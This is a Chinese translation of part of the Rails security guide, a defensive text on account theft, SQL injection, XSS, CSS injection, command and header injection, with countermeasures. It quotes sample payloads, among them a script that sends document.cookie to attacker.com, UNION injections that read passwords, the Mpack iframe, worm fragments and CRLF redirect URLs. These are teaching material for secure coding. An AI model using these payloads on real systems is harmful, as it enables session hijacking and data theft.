網頁程序中顯示的用戶列表可被用來暴力破解用戶的密碼,因為大多數用戶使用的密碼都不復雜。大多數密碼都是由字典單詞和數字組成的。只要有一組用戶名和字典,自動化程序就能在數分鐘內找到正確的密碼。
因此,大多數網頁程序都會顯示更模糊的錯誤消息,例如“用戶名或密碼錯誤”。如果提示“未找到您輸入的用戶名”,攻擊者會自動生成用戶名列表。
不過,被大多數開發者忽略的是忘記密碼頁面。這個頁面經常會提示能否找到輸入的用戶名或郵件地址。攻擊者據此可以生成用戶名列表,用于暴力破解賬戶。
為了盡量避免這種攻擊,忘記密碼頁面上顯示的錯誤消息也要模糊一點。如果同一 IP 地址多次登錄失敗后,還可以要求輸入驗證碼。注意,這種方法不能完全禁止自動化程序,因為自動化程序能頻繁更換 IP 地址。不過也算增加了一道防線。
#### 6.2 盜取賬戶
很多程序的賬戶很容易盜取,為什么不增加盜竊的難度呢?
##### 6.2.1 密碼
攻擊者一旦竊取了用戶的會話 cookie 就能進入程序。如果能輕易修改密碼,幾次點擊之后攻擊者就能盜用賬戶。如果修改密碼的表單有 CSRF 漏洞,攻擊者可以把用戶引誘到一個精心制作的網頁,其中包含可發起跨站請求偽造的圖片。針對這種攻擊的對策是,在修改密碼的表單中加入 CSRF 防護,而且修改密碼前要輸入原密碼。
##### 6.2.2 E-Mail
攻擊者還可通過修改 Email 地址盜取賬戶。修改 Email 地址后,攻擊者到忘記密碼頁面輸入郵箱地址,新密碼就會發送到攻擊者提供的郵箱中。針對這種攻擊的對策是,修改 Email 地址時要輸入密碼。
##### 6.2.3 其他
不同的程序盜取賬戶的方式也不同。大多數情況下都要利用 CSRF 和 XSS。例如 [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/) 中的 CSRF 漏洞。在這個概念性的攻擊中,用戶被引向攻擊者控制的網站。網站中包含一個精心制作的圖片,發起 HTTP GET 請求,修改 Google Mail 的過濾器設置。如果用戶登入 Google Mail,攻擊者就能修改過濾器,把所有郵件都轉發到自己的郵箱中。這幾乎和賬戶被盜的危險性相同。針對這種攻擊的對策是,審查程序的邏輯,封堵所有 XSS 和 CSRF 漏洞。
#### 6.3 驗證碼
驗證碼是質詢-響應測試,用于判斷響應是否由計算機生成。經常用在評論表單中,要求用戶輸入圖片中扭曲的文字,禁止垃圾評論機器人發布評論。驗證的目的不是為了證明用戶是人類,而是為了證明機器人是機器人。
我們要防護的不僅是垃圾評論機器人,還有自動登錄機器人。使用廣泛的 [reCAPTCHA](http://recaptcha.net/) 會顯示兩個扭曲的圖片,其中的文字摘自古籍,圖片中還會顯示一條直角線。早期的驗證碼使用扭曲的背景和高度變形的文字,但這種方式已經被破解了。reCAPTCHA 的這種做法還有個附加好處,可以數字化古籍。[ReCAPTCHA](https://github.com/ambethia/recaptcha/) 是個 Rails 插件,和所用 API 同名。
你會從 reCAPTCHA 獲取兩個密鑰,一個公匙,一個私匙,這兩個密鑰要放到 Rails 程序的設置中。然后就可以在視圖中使用 `recaptcha_tags` 方法,在控制器中使用 `verify_recaptcha` 方法。如果驗證失敗,`verify_recaptcha` 方法返回 `false`。驗證碼的問題是很煩人。而且,有些視覺受損的用戶發現某些扭曲的驗證碼很難看清。
大多數機器人都很笨拙,會填寫爬取頁面表單中的每個字段。驗證碼正式利用這一點,在表單中加入一個誘引字段,通過 CSS 或 JavaScript 對用戶隱藏。
通過 JavaScript 和 CSS 隱藏誘引字段可以使用下面的方法:
* 把字段移到頁面的可視范圍之外;
* 把元素的大小設的很小,或者把顏色設的和背景色一樣;
* 顯示這個字段,但告訴用戶不要填寫;
最簡單的方法是使用隱藏的誘引字段。在服務器端要檢查這個字段的值:如果包含任何文本,就說明這是個機器人。然后可以忽略這次請求,或者返回真實地結果,但不能把數據存入數據庫。這樣一來,機器人就以為完成了任務,繼續前往下一站。對付討厭的人也可以用這種方法。
Ned Batchelder 的[博客](http://nedbatchelder.com/text/stopbots.html)中介紹了更復雜的驗證碼。
注意,驗證碼只能防范自動機器人,不能阻止特別制作的機器人。所以,驗證碼或許不是登錄表單的最佳防護措施。
#### 6.4 日志
告訴 Rails 不要把密碼寫入日志。
默認情況下,Rails 會把請求的所有信息寫入日志。日志文件是個嚴重的安全隱患,因為其中可能包含登錄密碼和信用卡卡號等。考慮程序的安全性時,要想到攻擊者獲得服務器控制權這一情況。如果把明文密碼寫入日志,數據庫再怎么加密也無濟于事。在程序的設置文件中可以通過 `config.filter_parameters` 過濾指定的請求參數,不寫入日志。過濾掉的參數在日志中會使用 `[FILTERED]` 代替。
```
config.filter_parameters << :password
```
#### 6.5 好密碼
你是否發現很難記住所有密碼?不要把密碼記下來,使用容易記住的句子中單詞的首字母。
安全專家 Bruce Schneier 研究了釣魚攻擊([如下](#examples-from-the-underground)所示)獲取的 34000 個真實的 MySpace 用戶名和密碼,發現大多數密碼都很容易破解。最常用的 20 個密碼是:
password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, monkey
這些密碼只有不到 4% 使用了字典中能找到的單詞,而且大都由字母和數字組成。破解密碼的字典中包含大多數常用的密碼,攻擊者會嘗試所有可能的組合。如果攻擊者知道你的用戶名,而且密碼很弱,你的賬戶就很容易被破解。
好的密碼是一組很長的字符串,混合字母和數字。這種密碼很難記住,建議你使用容易記住的長句的首字母。例如,從“The quick brown fox jumps over the lazy dog”中得到的密碼是“Tqbfjotld”。注意,我只是舉個例子,請不要使用熟知的名言,因為破解字典中可能有這些名言。
#### 6.6 正則表達式
使用 Ruby 正則表達式時經常犯的錯誤是使用 `^` 和 `$` 分別匹配字符串的開頭和結尾,其實應該使用 `\A` 和 `\z`。
Ruby 使用了有別于其他編程語言的方式來匹配字符串的開頭和結尾。這也是為什么很多 Ruby/Rails 相關的書籍都搞錯了。為什么這是個安全隱患呢?如果想不太嚴格的驗證 URL 字段,使用了如下的正則表達式:
```
/^https?:\/\/[^\n]+$/i
```
在某些編程語言中可能沒問題,但在 Ruby 中,`^` 和 `$` 分別匹配一行的開頭和結尾。因此下面這種 URL 能通過驗證:
```
javascript:exploit_code();/*
http://hi.com
*/
```
之所以能通過,是因為第二行匹配了正則表達式,其他兩行無關緊要。假設在視圖中要按照下面的方式顯示 URL:
```
link_to "Homepage", @user.homepage
```
訪問者不會覺得這個鏈接有問題,點擊之后,卻執行了 `exploit_code` 這個 JavaScript 函數,或者攻擊者提供的其他 JavaScript 代碼。
修正這個正則表達式的方法是,分別用 `\A` 和 `\z` 代替 `^` 和 `$`,如下所示:
```
/\Ahttps?:\/\/[^\n]+\z/i
```
因為這種問題經常出現,如果使用的正則表達式以 `^` 開頭,或者以 `$` 結尾,格式驗證器(`validates_format_of`)會拋出異常。如果確實需要使用 `^` 和 `$`(但很少見),可以把 `:multiline` 選項設為 `true`,如下所示:
```
# content should include a line "Meanwhile" anywhere in the string
validates :content, format: { with: /^Meanwhile$/, multiline: true }
```
注意,這種方式只能避免格式驗證中出現的常見錯誤。你要牢記,在 Ruby 中 `^` 和 `$` 分別匹配**行**的開頭和結尾,不是整個字符串的開頭和結尾。
#### 6.7 權限提升
只需修改一個參數就可能賦予用戶未授權的權限。記住,不管你怎么隱藏參數,還是可能被修改。
用戶最可能篡改的參數是 ID,例如在 `http://www.domain.com/project/1` 中,ID 為 1,這個參數的值在控制器中可通過 `params` 獲取。在控制器中可能會做如下的查詢:
```
@project = Project.find(params[:id])
```
在某些程序中這么做沒問題,但如果用戶沒權限查看所有項目就不能這么做。如果用戶把 ID 改為 42,但其實無權查看這個項目的信息,用戶還是能夠看到。我們應該同時查詢用戶的訪問權限:
```
@project = @current_user.projects.find(params[:id])
```
不同的程序用戶可篡改的參數也不同,謹記一個原則,用戶輸入的數據未經驗證之前都是不安全的,傳入的每個參數都有潛在危險。
別傻了,隱藏參數或者使用 JavaScript 根本就無安全性可言。使用 Firefox 的開發者工具可以修改表單中的每個隱藏字段。JavaScript 只能驗證用戶的輸入數據,但不能避免攻擊者發送惡意請求。Firefox 的 Live Http Headers 插件可以記錄每次請求,而且能重復請求或者修改請求內容,很容易就能跳過 JavaScript 驗證。有些客戶端代理還能攔截任意請求和響應。
### 7 注入
注入這種攻擊方式可以把惡意代碼或參數寫入程序,在程序所謂安全的環境中執行。常見的注入方式有跨站腳本和 SQL 注入。
注入具有一定技巧性,一段代碼或參數在一個場合是惡意的,但換個場合可能就完全無害。這里所說的“場合”可以是一個腳本,查詢,編程語言,shell 或者 Ruby/Rails 方法。下面各節分別介紹注入攻擊可能發生的場合。不過,首先我們要說明和注入有關的架構決策。
#### 7.1 白名單與黑名單
過濾、保護或者驗證時白名單比黑名單好。
黑名單可以是一組不可用的 Email 地址,非公開的動作或者不能使用的 HTML 標簽。白名單則相反,是一組可用的 Email 地址,公開的動作和可用的 HTML 標簽。某些情況下無法創建白名單(例如,垃圾信息過濾),但下列場合推薦使用白名單:
* `before_action` 的選項使用 `only: [...]`,而不是 `except: [...]`。這樣做,新建的動作就不會誤入 `before_action`。
* 防范跨站腳本時推薦加上 `<strong>` 標簽,不要刪除 `<script>` 元素。詳情參見后文。
* 不要嘗試使用黑名單修正用戶的輸入
* 這么做會成全這種攻擊:`"<sc<script>ript>".gsub("<script>", "")`
* 直接拒絕即可
使用白名單還能避免忘記黑名單中的內容。
#### 7.2 SQL 注入
Rails 中的方法足夠智能,能避免 SQL 注入。但 SQL 注入是網頁程序中比較常見且危險性高的攻擊方式,因此有必要了解一下。
##### 7.2.1 簡介
SQL 注入通過修改傳入程序的參數,影響數據庫查詢。常見目的是跳過授權管理系統,處理數據或讀取任意數據。下面舉例說明為什么要避免在查詢中使用用戶輸入的數據。
```
Project.where("name = '#{params[:name]}'")
```
這個查詢可能出現在搜索動作中,用戶輸入想查找的項目名。如果惡意用戶輸入 `' OR 1 --`,得到的 SQL 查詢為:
```
SELECT * FROM projects WHERE name = '' OR 1 --'
```
兩根橫線表明注釋開始,后面所有的語句都會被忽略。所以上述查詢會讀取 `projects` 表中所有記錄,包括向用戶隱藏的記錄。這是因為所有記錄都滿足查詢條件。
##### 7.2.2 跳過授權
網頁程序中一般都有訪問控制功能。用戶輸入登錄密令后,網頁程序試著在用戶數據表中找到匹配的記錄。如果找到了記錄就賦予用戶相應的訪問權限。不過,攻擊者可通過 SQL 注入跳過這種檢查。下面顯示了 Rails 中一個常見的數據庫查詢,在用戶表中查詢匹配用戶輸入密令的第一個記錄。
```
User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'")
```
如果用戶輸入的 `name` 參數值為 `' OR '1'='1`,`password` 參數的值為 `' OR '2'>'1`,得到的 SQL 查詢為:
```
SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1
```
這個查詢直接在數據庫中查找第一個記錄,然后賦予其相應的權限。
##### 7.2.3 未經授權讀取數據
`UNION` 語句連接兩個 SQL 查詢,返回的結果只有一個集合。攻擊者利用 `UNION` 語句可以從數據庫中讀取任意數據。下面來看個例子:
```
Project.where("name = '#{params[:name]}'")
```
注入一個使用 `UNION` 語句的查詢:
```
') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --
```
得到的 SQL 查詢如下:
```
SELECT * FROM projects WHERE (name = '') UNION
SELECT id,login AS name,password AS description,1,1,1 FROM users --'
```
上述查詢的結果不是一個項目集合(因為找不到沒有名字的項目),而是一組由用戶名和密碼組成的集合。真希望你加密了存儲在數據庫中的密碼!攻擊者要為兩個查詢語句提供相同的字段數量。所以在第二個查詢中有很多 `1`。攻擊者可以總是使用 `1`,只要字段的數量和第一個查詢一樣即可。
而且,第二個查詢使用 `AS` 語句重命名了某些字段,這樣程序就能顯示出從用戶表中查詢得到的數據。
##### 7.2.4 對策
Rails 內建了能過濾 SQL 中特殊字符的過濾器,會轉義 `'`、`"`、`NULL` 和換行符。`Model.find(id)` 和 `Model.find_by_something(something)` 會自動使用這個過濾器。但在 SQL 片段中,尤其是條件語句(`where("...")`),`connection.execute()` 和 `Model.find_by_sql()` 方法,需要手動調用過濾器。
請不要直接傳入條件語句,而要傳入一個數組,進行過濾。如下所示:
```
Model.where("login = ? AND password = ?", entered_user_name, entered_password).first
```
如上所示,數組的第一個元素是包含問號的 SQL 片段,要過濾的內容是數組其后的元素,過濾后的值會替換第一個元素中的問號。傳入 Hash 的作用相同:
```
Model.where(login: entered_user_name, password: entered_password).first
```
數組或 Hash 形式只能在模型實例上使用。其他地方可使用 `sanitize_sql()` 方法。在 SQL 中使用外部字符串時要時刻警惕安全性。
#### 7.3 跨站腳本
網頁程序中影響范圍最廣、危害性最大的安全漏洞是跨站腳本。這種惡意攻擊方式在客戶端注入可執行的代碼。Rails 提供了防御這種攻擊的幫助方法。
##### 7.3.1 切入點
切入點是攻擊者可用來發起攻擊的漏洞 URL 地址和其參數。
常見的切入點有文章、用戶評論、留言本,項目的標題、文檔的名字和搜索結果頁面也經常受到攻擊,只要用戶能輸入數據的地方都有危險。輸入的數據不一定來自網頁中的輸入框,也可以來自任何 URL 參數(公開參數,隱藏參數或者內部參數)。記住,用戶能攔截任何通信。Firefox 的 [Live HTTP Headers](http://livehttpheaders.mozdev.org/) 插件,以及客戶端代碼能輕易的修改請求數據。
跨站腳本攻擊的工作方式是這樣的:攻擊者注入一些代碼,程序將其保存并在頁面中顯示出來。大多數跨站腳本只顯示一個彈窗,但危險性極大。跨站腳本可以竊取 cookie,劫持會話,把用戶引向虛假網站,顯示廣告讓攻擊者獲利,修改網頁中的元素獲取機密信息,或者通過瀏覽器的安全漏洞安裝惡意軟件。
2007 年下半年,Mozilla 瀏覽器發現了 88 個漏洞,Safari 發現了 22 個漏洞,IE 發現了 18 個漏洞,Opera 發現了 12 個漏洞。[賽門鐵克全球互聯網安全威脅報告](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf)指出,2007 年下半年共發現了 238 個瀏覽器插件導致的漏洞。對黑客來說,網頁程序框架爆出的 SQL 注入漏洞很具吸引力,他們可以利用這些漏洞在數據表中的每個文本字段中插入惡意代碼。2008 年 4 月,有 510000 個網站被這種方法攻破,其中英國政府和美國政府的網站是最大的目標。
一個相對較新、不常見的切入點是橫幅廣告。[Trend Micro](http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/) 的文章指出,2008 年早些時候在流行的網站(例如 MySpace 和 Excite)中發現了橫幅廣告中包含惡意代碼。
##### 7.3.2 HTML/JavaScript 注入
跨站腳本最常用的語言當然是使用最廣泛的客戶端腳本語言 JavaScript,而且經常摻有 HTML。轉義用戶的輸入是最基本的要求。
下面是一段最直接的跨站腳本:
```
<script>alert('Hello');</script>
```
上面的 JavaScript 只是顯示一個提示框。下面的例子作用相同,但放在不太平常的地方:
```
<img src=javascript:alert('Hello')>
<table background="javascript:alert('Hello')">
```
###### 7.3.2.1 盜取 cookie
上面的例子沒什么危害,下面來看一下攻擊者如何盜取用戶 cookie(因此也能劫持會話)。在 JavaScript 中,可以使用 `document.cookie` 讀寫 cookie。JavaScript 強制使用同源原則,即一個域中的腳本無法訪問另一個域中的 cookie。`document.cookie` 屬性中保存的 cookie 來自源服務器。不過,如果直接把代碼放在 HTML 文檔中(就跟跨站腳本一樣),就可以讀寫這個屬性。把下面的代碼放在程序的任何地方,看一下頁面中顯示的 cookie 值:
```
<script>document.write(document.cookie);</script>
```
對攻擊者來說,這么做沒什么用,因為用戶看到了自己的 cookie。下面這個例子會從 [http://www.attacker.com/](http://www.attacker.com/) 加載一個圖片和 cookie。當然,這個地址并不存在,因此瀏覽器什么也不會顯示。但攻擊者可以查看服務器的訪問日志獲取用戶的 cookie。
```
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
```
[www.attacker.com](http://www.attacker.com) 服務器上的日志文件中可能有這么一行記錄:
```
GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
```
在 cookie 中加上 [httpOnly](http://dev.rubyonrails.org/ticket/8895) 標簽可以避免這種攻擊,加上 httpOnly 后,JavaScript 就無法讀取 `document.cookie` 屬性的值。IE v6.SP1、Firefox v2.0.0.5 和 Opera 9.5 都支持只能使用 HTTP 請求訪問的 cookie,Safari 還在考慮這個功能,暫時會忽略這個選項。但在其他瀏覽器,或者舊版本的瀏覽器(例如 WebTV 和 Mac 系統中的 IE 5.5)中無法加載頁面。有一點要注意,使用 [Ajax 仍可讀取 cookie](http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/)。
###### 7.3.2.2 涂改
攻擊者可通過網頁涂改做很多事情,例如,顯示錯誤信息,或者引導用戶到攻擊者的網站,偷取登錄密碼或者其他敏感信息。最常見的涂改方法是使用 iframe 加載外部代碼:
```
<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe>
```
iframe 可以從其他網站加載任何 HTML 和 JavaScript。上述 iframe 是使用 [Mpack 框架](http://isc.sans.org/diary.html?storyid=3015)攻擊意大利網站的真實代碼。Mpack 嘗試通過瀏覽器的安全漏洞安裝惡意軟件,成功率很高,有 50% 的攻擊成功了。
更特殊的攻擊是完全覆蓋整個網站,或者顯示一個登陸框,看去來和原網站一模一樣,但把用戶名和密碼傳給攻擊者的網站。還可使用 CSS 或 JavaScript 把網站中原來的鏈接隱藏,換上另一個鏈接,把用戶帶到仿冒網站上。
還有一種攻擊方式不保存信息,把惡意代碼包含在 URL 中。如果搜索表單不過濾搜索關鍵詞,這種攻擊就更容易實現。下面這個鏈接顯示的頁面中包含這句話“喬治?布什任命 9 歲男孩為主席...”:
```
http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->
<script src=http://www.securitylab.ru/test/sc.js></script><!--
```
###### 7.3.2.3 對策
過濾惡意輸入很重要,轉義輸出也同樣重要。
對跨站腳本來說,過濾輸入值一定要使用白名單而不是黑名單。白名單指定允許輸入的值。黑名單則指定不允許輸入的值,無法涵蓋所有禁止的值。
假設黑名單從用戶的輸入值中刪除了 `script`,但如果攻擊者輸入 `<scrscriptipt>`,過濾后剩余的值是 `<script>`。在以前版本的 Rails 中,`strip_tags()`、`strip_links()` 和 `sanitize()` 方法使用黑名單。所以下面這種注入完全可行:
```
strip_tags("some<<b>script>alert('hello')<</b>/script>")
```
上述方法的返回值是 `some<script>alert('hello')</script>`,仍然可以發起攻擊。所以我才支持使用白名單,使用 Rails 2 中升級后的 `sanitize()` 方法:
```
tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
s = sanitize(user_input, tags: tags, attributes: %w(href title))
```
這個方法只允許使用指定的標簽,效果很好,能對付各種詭計和改裝的標簽。
而后,還要轉義程序的所有輸出,尤其是要轉義輸入時沒有過濾的用戶輸入值(例如前面舉過的搜索表單例子)。使用 `escapeHTML()` 方法(或者別名 `h()`)把 HTML 中的 `&`、`"`、`<` 和`>` 字符替換成 `&`、`"`、`<` 和 `>`。不過開發者很容易忘記這么做,所以推薦使用 [SafeErb](http://safe-erb.rubyforge.org/svn/plugins/safe_erb/) 插件,SafeErb 會提醒你轉義外部字符串。
###### 7.3.2.4 編碼注入
網絡流量大都使用有限的西文字母傳輸,所以后來出現了新的字符編碼方式傳輸其他語種的字符。這也為網頁程序帶來了新的威脅,因為惡意代碼可以隱藏在不同的編碼字符中,瀏覽器可以處理這些編碼,但網頁程序不一定能處理。下面是使用 UTF-8 編碼攻擊的例子:
```
<IMG SRC=javascript:a
lert('XSS')>
```
上面的代碼會彈出一個提示框。`sanitize()` 方法可以識別這種代碼。編碼字符串的一個好用工具是 [Hackvertor](https://hackvertor.co.uk/public),使用這個工具可以做到知己知彼。Rails 的 `sanitize()` 方法能有效避免編碼攻擊。
##### 7.3.3 真實案例
要想理解現今對網頁程序的攻擊方式,最好看幾個真實案例。
下面的代碼摘自針對 Yahoo! 郵件的[蠕蟲病毒](http://groovin.net/stuff/yammer.txt),由 [Js.Yamanner@m](http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&tabid=1) 制作,發生在 2006 年 6 月 11 日,是第一個針對網頁郵件客戶端的蠕蟲病毒:
```
<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
target=""onload="var http_request = false; var Email = '';
var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ...
```
這個蠕蟲病毒利用 Yahoo 的 HTML/JavaScript 過濾器漏洞。這個過濾器過濾標簽中所有的 `target` 和 `onload` 屬性,因為這兩個屬性的值可以是 JavaScript 代碼。這個過濾器只會執行一次,所以包含蠕蟲病毒代碼的 `onload` 屬性不會被過濾掉。這個例子很好的說明了黑名單很難以偏概全,也說明了在網頁程序中為什么很難提供輸入 HTML/JavaScript 的支持。
還有一個概念性的蠕蟲是 Nduja,這個蠕蟲可以跨域攻擊四個意大利網頁郵件服務。詳情參見 [Rosario Valotta 的論文](http://www.xssed.com/news/37/Nduja_Connection_A_cross_webmail_worm_XWW/)。以上兩種郵件蠕蟲的目的都是獲取 Email 地址,黑客可從中獲利。
2006 年 12 月,一次 [MySpace 釣魚攻擊](http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html)泄露了 34000 個真實地用戶名和密碼。這次攻擊的方式是創建一個名為“login_home_index_html”的資料頁,URL 地址看起來很正常,但使用了精心制作的 HTML 和 CSS 隱藏真實的由 MySpace 生成的內容,顯示了一個登錄表單。
MySpace Samy 蠕蟲在“[CSS 注入](#css-injection)”一節說明。
#### 7.4 CSS 注入
CSS 注入其實就是 JavaScript 注入,因為有些瀏覽器(IE,某些版本的 Safari 等)允許在 CSS 中使用 JavaScript。允許在程序中使用自定義的 CSS 時一定要三思。
CSS 注入的原理可以通過有名的 [MySpace Samy 蠕蟲](http://namb.la/popular/tech.html)說明。訪問 Samy(攻擊者)的 MySpace 資料頁時會自動向 Samy 發出好友請求。幾小時之內 Samy 就收到了超過一百萬個好友請求,消耗了 MySpace 大量流量,導致網站癱瘓。下面從技術層面分析這個蠕蟲。
MySpace 禁止使用很多標簽,但卻允許使用 CSS。所以,蠕蟲的作者按照下面的方式在 CSS 中加入了 JavaScript 代碼:
```
<div style="background:url('javascript:alert(1)')">
```
因此問題的關鍵是 `style` 屬性,但屬性的值中不能含有引號,因為單引號和雙引號都已經使用了。但是 JavaScript 中有個很實用的 `eval()` 函數,可以執行任意字符串:
```
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
```
`eval()` 函數對黑名單過濾來說是個噩夢,可以把 `innerHTML` 隱藏在 `style` 屬性中:
```
alert(eval('document.body.inne' + 'rHTML'));
```
MySpace 會過濾 `javascript` 這個詞,所以蠕蟲作者使用 `java<NEWLINE>script` 繞過了這個限制:
```
<div id="mycode" expr="alert('hah!')" style="background:url('java? script:eval(document.all.mycode.expr)')">
```
蠕蟲作者面對的另一個問題是 CSRF 安全權標。沒有安全權標就無法通過 POST 請求發送好友請求。蠕蟲作者先向頁面發起 GET 請求,然后再添加用戶,處理 CSRF 權標。
最終,只用 4KB 空間就寫好了這個蠕蟲,注入到自己的資料頁面。
CSS 中的 [moz-binding](http://www.securiteam.com/securitynews/5LP051FHPE.html) 屬性也被證實可在基于 Gecko 的瀏覽器(例如 Firefox)中把 Javascript 寫入 CSS 中。
##### 7.4.1 對策
這個例子再次證明黑名單不能以偏概全。自定義 CSS 在網頁程序中是個很少見的功能,因此我也不知道怎么編寫 CSS 白名單過濾器。如果想讓用戶自定義顏色或圖片,可以讓用戶選擇顏色或圖片,再由網頁程序生成 CSS。如果真的需要 CSS 白名單過濾器,可以使用 Rails 的 `sanitize()` 方法。
#### 7.5 Textile 注入
如果想提供 HTML 之外的文本格式化方式(基于安全考慮),可以使用能轉換為 HTML 的標記語言。[RedCloth](http://redcloth.org/) 就是一種使用 Ruby 編寫的轉換工具。使用前要注意,RedCloth 也有跨站腳本漏洞。
例如,RedCloth 會把 `_test_` 轉換成 `<em>test</em>`,斜體顯示文字。不過到最新的 3.0.4 版本,仍然有跨站腳本漏洞。請安裝已經解決安全問題的[全新第 4 版](http://www.redcloth.org)。可是這個版本還有[一些安全隱患](http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html)。下面的例子針對 V3.0.4:
```
RedCloth.new('<script>alert(1)</script>').to_html
# => "<script>alert(1)</script>"
```
使用 `:filter_html` 選項可以過濾不是由 RedCloth 生成的 HTML:
```
RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
# => "alert(1)"
```
不過,這個選項不能過濾全部的 HTML,會留下一些標簽(程序就是這樣設計的),例如 `<a>`:
```
RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
# => "<p><a href="javascript:alert(1)">hello</a></p>"
```
##### 7.5.1 對策
建議使用 RedCloth 時要同時使用白名單過濾輸入值,這一點在應對跨站腳本攻擊時已經說過。
#### 7.6 Ajax 注入
在常規動作上運用的安全預防措施在 Ajax 動作上也要使用。不過有一個例外:如果動作不渲染視圖,在控制器中就要做好轉義。
如果使用 [in_place_editor](http://dev.rubyonrails.org/browser/plugins/in_place_editing) 插件,或者動作不渲染視圖只返回字符串,就要在動作中轉義返回值。否則,如果返回值中包含跨站腳本,發送到瀏覽器時就會執行。請使用 `h()` 方法轉義所有輸入值。
#### 7.7 命令行注入
使用用戶輸入的命令行參數時要小心。
如果程序要在操作系統層面執行命令,可以使用 Ruby 提供的幾個方法:`exec(command)`,`syscall(command)`,`system(command)` 和 `command`。如果用戶可以輸入整個命令,或者命令的一部分,這時就要特別注意。因為在大多數 shell 中,兩個命令可以寫在一起,使用分號(`;`)或者豎線(`|`)連接。
為了避免這類問題,可以使用 `system(command, parameters)` 方法,這樣傳入的命令行參數更安全。
```
system("/bin/echo","hello; rm *")
# prints "hello; rm *" and does not delete files
```
#### 7.8 報頭注入
HTTP 報頭是動態生成的,某些情況下可能會包含用戶注入的值,導致惡意重定向、跨站腳本或者 HTTP 響應拆分(HTTP response splitting)。
HTTP 請求報頭中包含 `Referer`,`User-Agent`(客戶端軟件)和 `Cookie` 等字段。響應報頭中包含狀態碼,`Cookie` 和 `Location`(重定向的目標 URL)等字段。這些字段都由用戶提供,可以輕易修改。記住,報頭也要轉義。例如,在管理頁面中顯示 `User-Agent` 時。
除此之外,基于用戶輸入值構建響應報頭時還要格外小心。例如,把用戶重定向到指定的頁面。重定向時需要在表單中加入 `referer` 字段:
```
redirect_to params[:referer]
```
Rails 會把這個字段的值提供給 `Location` 報頭,并向瀏覽器發送 302(重定向)狀態碼。惡意用戶可以做的第一件事是:
```
http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
```
Rails 2.1.2 之前有個漏洞,黑客可以注入任意的報頭字段,例如:
```
http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
```
注意,`%0d%0a` 是編碼后的 `\r\n`,在 Ruby 中表示回車換行(CRLF)。上面的例子得到的 HTTP 報頭如下所示,第二個 `Location` 覆蓋了第一個:
```
HTTP/1.1 302 Moved Temporarily
(...)
Location: http://www.malicious.tld
```
報頭注入就是在報頭中注入 CRLF 字符。那么攻擊者是怎么進行惡意重定向的呢?攻擊者可以把用戶重定向到釣魚網站,要求再次登錄,把登錄密令發送給攻擊者。或者可以利用瀏覽器的安全漏洞在網站中安裝惡意軟件。Rails 2.1.2 在 `redirect_to` 方法中轉義了傳給 `Location` 報頭的值。使用用戶的輸入值構建報頭時要手動進行轉義。
##### 7.8.1 響應拆分
既然報頭注入有可能發生,響應拆分也有可能發生。在 HTTP 響應中,報頭后面跟著兩個 CRLF,然后是真正的數據(HTML)。響應拆分的原理是在報頭中插入兩個 CRLF,后跟其他的響應,包含惡意 HTML。響應拆分示例:
```
HTTP/1.1 302 Found [First standard 302 response]
Date: Tue, 12 Apr 2005 22:09:07 GMT
Location: Content-Type: text/html
HTTP/1.1 200 OK [Second New response created by attacker begins]
Content-Type: text/html
<html><font color=red>hey</font></html> [Arbitary malicious input is
Keep-Alive: timeout=15, max=100 shown as the redirected page]
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
```
某些情況下,拆分后的響應會把惡意 HTML 顯示給用戶。不過這只會在 `Keep-Alive` 連接中發生,大多數瀏覽器都使用一次性連接。但你不能依賴這一點。不管怎樣這都是個嚴重的隱患,你需要升級到 Rails 最新版,消除報頭注入風險(因此也就避免了響應拆分)。
### 8 生成的不安全查詢
根據 Active Record 處理參數的方式以及 Rack 解析請求參數的方式,攻擊者可以通過 `WHERE IS NULL` 子句發起異常數據庫查詢。為了應對這種安全隱患([CVE-2012-2660](https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_munge/rubyonrails-security/8SA-M3as7A8/Mr9fi9X4kNgJ),[CVE-2012-2694](https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_munge/rubyonrails-security/jILZ34tAHF4/7x0hLH-o0-IJ) 和 [CVE-2013-0155](https://groups.google.com/forum/#!searchin/rubyonrails-security/CVE-2012-2660/rubyonrails-security/c7jT-EeN9eI/L0u4e87zYGMJ)),Rails 加入了 `deep_munge` 方法,增加安全性。
如果不使用 `deep_munge` 方法,下面的代碼有被攻擊的風險:
```
unless params[:token].nil?
user = User.find_by_token(params[:token])
user.reset_password!
end
```
如果 `params[:token]` 的值是 `[]`、`[nil]`、`[nil, nil, ...]` 或 `['foo', nil]` 之一,會跳過 `nil?` 檢查,但 `WHERE` 子句 `IS NULL` 或 `IN ('foo', NULL)` 還是會添加到 SQL 查詢中。
